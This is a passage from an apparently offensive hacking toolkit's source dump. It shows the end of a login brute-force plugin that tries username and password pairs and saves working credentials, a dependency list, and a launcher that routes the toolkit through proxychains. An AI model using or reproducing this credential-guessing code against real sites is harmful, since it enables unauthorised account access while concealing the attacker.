Detection_ID == 4 and (Configs.Login_Form_HTML not in Response.text): 112 | # HTML content 113 | Found = True 114 | 115 | # Save found login & Exit option 116 | if Found: 117 | if Verbose: 118 | Handler(Error_Levels.Plus, f"Login found with {Username}:{Password}") 119 | Found_Login(Result_Filename, URL, Username, Password) 120 | if not Continue_On_Found: 121 | End_Plugin() 122 | else: 123 | Handler(Error_Levels.Minus, f"Trying with username password {Username}:{Password}, Failed to login.") 124 | -------------------------------------------------------------------------------- /G3nius-Tools/requires.txt: -------------------------------------------------------------------------------- 1 | requests 2 | python-nmap 3 | scapy 4 | psutil 5 | rsa 6 | pycryptodome 7 | cryptography==36.0.2 8 | pynput 9 | pillow 10 | adbutils -------------------------------------------------------------------------------- /G3nius-Tools/under-Tor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # coding: utf-8 3 | try: 4 | from sys import exit 5 | from os import system, popen 6 | from os.path import basename, abspath 7 | except: 8 | print("\x1b[0;31mSome Depends not installed. Run as root/administrator: 'pip install -r requires.txt'\x1b[0m") 9 | else: 10 | if 'ProxyChains' in popen('proxychains').read(): 11 | system('proxychains ./launcher.py') 12 | else: 13 | print("\x1b[0;31m[!] proxychains script not installed. install and retry.\x1b[0m") 14 | exit(1) -------------------------------------------------------------------------------- /Logo.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/witblack/G3nius-Tools-Sploit/c1310ffb8a31fa7ad9689e1b71dab2ec2a1c7241/Logo.jpg --------------------------------------------------------------------------------